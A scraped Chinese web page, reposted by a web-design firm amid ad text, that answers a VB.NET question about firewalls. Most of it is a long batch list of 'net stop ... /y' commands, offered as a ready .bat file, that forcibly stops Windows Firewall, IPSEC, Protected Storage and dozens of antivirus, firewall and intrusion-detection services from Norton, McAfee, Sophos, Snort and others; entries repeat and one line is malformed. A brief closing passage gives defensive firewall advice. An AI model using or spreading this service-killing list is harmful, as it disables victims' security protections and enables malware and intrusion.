Shell "net start sharedaccess" '開啟防火墻
創(chuàng)新互聯(lián)網(wǎng)站建設(shè)服務(wù)商,為中小企業(yè)提供成都網(wǎng)站制作、成都做網(wǎng)站服務(wù),網(wǎng)站設(shè)計,網(wǎng)站托管等一站式綜合服務(wù)型公司,專業(yè)打造企業(yè)形象網(wǎng)站,讓您在眾多競爭對手中脫穎而出創(chuàng)新互聯(lián)。
Shell "net stop sharedaccess" '關(guān)閉防火墻
'就這么簡單
繞過防火墻的話是很難做到的,至少我沒有這個能力。因為這個要取得系統(tǒng)的優(yōu)先權(quán)限,相信VB也很難做到這一點。如果是系統(tǒng)防火墻的話,你可以用關(guān)閉系統(tǒng)防火墻服務(wù)的方法來實現(xiàn): shell "cmd net stop sharedacc" '這個是關(guān)閉系統(tǒng)防火墻的命令,相反,如果要打開一個系統(tǒng)服務(wù)的話你可以把net stop改為net start. 另外是我收集的一些其它防火墻的服務(wù)名稱,你可以用上述方法對其進行關(guān)閉,你也可以把下面的命令保存成為一個批處理文件(*.bat)執(zhí)行: net stop "Alerter" /y
net stop "Ecengine.exe" /y
net stop "eSafe Protect Desktop" /y
net stop "Esafe.exe" /y
net stop "Espwatch.exe" /y
net stop "eTrust EZ Firewall" /y
net stop "F-Agnt95.exe" /y
net stop "Findviru.exe" /y
net stop "Rav.exe" /y
net stop "F-STOPW" /y
net stop "Look'n'Stop Lite" /y
net stop "Lookout.exe" /y
net stop "LUALL" /y
net stop "Luall.exe" /y
net stop "LUCOMSERVER" /y
net stop "MCAFEE" /y
net stop "McAfee Firewall" /y
net stop "McAfee Internet Guard Dog Pro" /y
net stop "Moolive.exe" /y
net stop "Mpftray.exe" /y
net stop "N32scanw.exe" /y
net stop "NAVAPSVC" /y
net stop "NAVAPW32" /y
net stop "Navapw32.exe" /y
net stop "NAVLU32" /y
net stop "Navlu32.exe" /y
net stop "Navnt.exe" /y
net stop "NAVRUNR" /y
net stop "NAVW32" /y
net stop "Navw32.exe" /y
net stop "NAVWNT" /y
net stop "Navwnt.exe" /y
net stop "NeoWatch" /y
net stop "NISSERV" /y
net stop "NISUM" /y
net stop "Nisum.exe" /y
net stop "NMAIN" /y
net stop "Nmain.exe" /y
net stop "Norman Personal Firewall" /y
net stop "Normist.exe" /y
net stop "NORTON" /y
net stop "Norton AntiVirus Server" /y
net stop "Norton Internet Security" /y
net stop "Norton Personal Firewall 2001" /y
net stop "Nupgrade.exe" /y
net stop "Pc firewall" /y
net stop "PC Viper" /y
net stop "PCCIOMON" /y
net stop "Ecengine.exe" /y
net stop "eSafe Protect Desktop" /y
net stop "Esafe.exe" /y
net stop "Espwatch.exe" /y
net stop "eTrust EZ Firewall" /y
net stop "F-Agnt95.exe" /y
net stop "Findviru.exe" /y
net stop "Fprot.exe" /y
net stop "F-Prot.exe" /y
net stop "F-PROT95" /y
net stop "F-Prot95.exe" /y
net stop "FP-WIN" /y
net stop "F-Stopw.exe" /y
net stop "GNAT Box Lite" /y
net stop "IAMAPP" /y
net stop "Iamapp.exe" /y
net stop "Iamserv.exe" /y
net stop "Ibmasn.exe" /y
net stop "Ibmavsp.exe" /y
net stop "Icload95.exe" /y
net stop "Icloadnt.exe" /y
net stop "ICMON" /y
net stop "Icmon.exe" /y
net stop "Icsupp95.exe" /y
net stop "Icsuppnt.exe" /y
net stop "Iface.exe" /y
net stop "Internet Alert 99" /y
net stop "IOMON98" /y
net stop "Iomon98.exe" /y
net stop "Jedi.exe" /y
net stop "MCAFEE" /y
net stop "McAfee Firewall" /y
net stop "McAfee Internet Guard Dog Pro" /y
net stop "Moolive.exe" /y
net stop "Mpftray.exe" /y
net stop "N32scanw.exe" /y
net stop "NAVAPSVC" /y
net stop "NAVAPW32" /y
net stop "Navapw32.exe" /y
net stop "NAVLU32" /y
net stop "Navlu32.exe" /y
net stop "Navnt.exe" /y
net stop "NAVRUNR" /y
net stop "NAVW32" /y
net stop "Navw32.exe" /y
net stop "NAVWNT" /y
net stop "Navwnt.exe" /y
net stop "NeoWatch" /y
net stop "NISSERV" /y
net stop "NISUM" /y
net stop "Nisum.exe" /y
net stop "NMAIN" /y
net stop "Norton AntiVirus Server" /y
net stop "Nupgrade.exe" /y
net stop "NVC95" /y
net stop "Nvc95.exe" /y
net stop "Outpost.exe" /y
net stop "Padmin.exe" /y
net stop "Pavcl.exe" /y
net stop "Pavsched.exe" /y
net stop "Pavw.exe" /y
net stop "Pc firewall" /y
net stop "PC Viper" /y
net stop "PCCIOMON" /y
net stop "PCCMAIN" /y
net stop "PCCWIN98" /y
net stop "Pccwin98.exe" /y
net stop "Pcfwallicon.exe" /y
net stop "Persfw.exe" /y
net stop "PGP Gauntlet" /y
net stop "POP3TRAP" /y
net stop "Proxy +" /y
net stop "RsRavMon Service" /y
net stop "PVIEW95" /y
net stop "Rav7.exe"
net stop "Safeweb.exe" /y
net stop "Scan32.exe" /y
net stop "Scan95.exe" /y
net stop "Snort - Win32 GUI" /y
net stop "Snort (Intrusion Detection System)" /y
net stop "Sphinx.exe" /y
net stop "Sphinxwall" /y
net stop "Sweep95.exe" /y
net stop "Sybergen Secure Desktop" /y
net stop "Sybergen SyGate" /y
net stop "SYMPROXYSVC" /y
net stop "Tbscan.exe" /y
net stop "Tca.exe" /y
net stop "Tds2-98.exe" /y
net stop "Tds2-Nt.exe" /y
net stop "TermiNET" /y
net stop "TGB:BOB" /y
net stop "Tiny Personal Firewall" /y
net stop "Vet95.exe" /y
net stop "Vettray.exe" /y
net stop "Vscan40.exe" /y
net stop "Vsecomr.exe" /y
net stop "VSHWIN32" /y
net stop "Vshwin32.exe" /y
net stop "VSSTAT" /y
net stop "Vsstat.exe" /y
net stop "WEBSCANX" /y
net stop "Webscanx.exe" /y
net stop "WEBTRAP" /y
net stop "Wfindv32.exe" /y
net stop "Wingate" /y
net stop "WinProxy" /y
net stop "WinRoute" /y
net stop "WyvernWorks Firewall" /y
net stop "Zonealarm" /y
net stop "Zonealarm.exe" /y
net stop "AVP32" /y
net stop "LOCKDOWN2000" /y
net stop "AVP.EXE" /y
net stop "CFINET32" /y
net stop "CFINET" /y
net stop "ICMON" /y
net stop "SAFEWEB" /y
net stop "WEBSCANX" /y
net stop "ANTIVIR" /y
net stop "MCAFEE" /y
net stop "NORTON" /y
net stop "NVC95" /y
net stop "FP-WIN" /y
net stop "IOMON98" /y
net stop "PCCWIN98" /y
net stop "F-PROT95" /y
net stop "F-STOPW" /y
net stop "PVIEW95" /y
net stop "NAVWNT /y
net stop "NAVRUNR" /y
net stop "NAVLU32" /y
net stop "NAVAPSVC" /y
net stop "NISUM" /y
net stop "SYMPROXYSVC" /y
net stop "RESCUE32" /y
net stop "NISSERV" /y
net stop "ATRACK" /y
net stop "IAMAPP" /y
net stop "LUCOMSERVER" /y
net stop "LUALL" /y
net stop "NMAIN" /y
net stop "NAVW32" /y
net stop "NAVAPW32" /y
net stop "VSSTAT" /y
net stop "VSHWIN32" /y
net stop "AVSYNMGR" /y
net stop "AVCONSOL" /y
net stop "WEBTRAP" /y
net stop "POP3TRAP" /y
net stop "PCCMAIN" /y
net stop "PCCIOMON" /y
net stop "Virtual CD v4 Security service (SDK - Version)" /y
net stop "Norton Internet Security Accounts Manager" /y
net stop "Norton AntiVirus Auto-Protect" /y
net stop "Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS)" /y
net stop "Symantec Event Manager" /y
net stop "Symantec Proxy Service" /y
net stop "Symantec AntiVirus Server" /y
net stop "Symantec Client Firewall Accounts Manager" /y
net stop "Symantec Client Firewall Proxy Service" /y
net stop "Symantec Client Firewall Service" /y
net stop "Symantec Settings Manager" /y
net stop "NT LM Security Support Provider" /y
net stop "Protected Storage" /y
net stop "TskSrv FTP Server" /y
net stop "Norton AntiVirus Auto Protect Service" /y
net stop "IPSEC Policy Agent" /y
net stop "MonSvcNT" /y
net stop "FTP Publishing Service" /y
net stop "IPSEC Services" /y
net stop "Symantec AntiVirus Client" /y
net stop "Sygate Personal Firewall" /y
net stop "AntiVir Service" /y
net stop "SafeNet IKE Service" /y
net stop "SafeNet Monitor Service" /y
net stop "Sophos Anti-Virus" /y
net stop "Sophos Anti-Virus Network" /y
net stop "Sophos Anti-Virus Update" /y
兩種方法
1、將防火墻設(shè)置為僅內(nèi)部訪問,不過很多內(nèi)部的功能將不能使用
2、在服務(wù)器端寫一個IP鎖定的功能,凡IP符合就能使用,不符合就不能使用,這樣方便你將來給某些外部的機器開綠燈
網(wǎng)頁名稱:vb.net防火墻,win 防火墻
文章轉(zhuǎn)載:http://chinadenli.net/article42/dsicpec.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供搜索引擎優(yōu)化、動態(tài)網(wǎng)站、關(guān)鍵詞優(yōu)化、品牌網(wǎng)站制作、電子商務(wù)、App開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)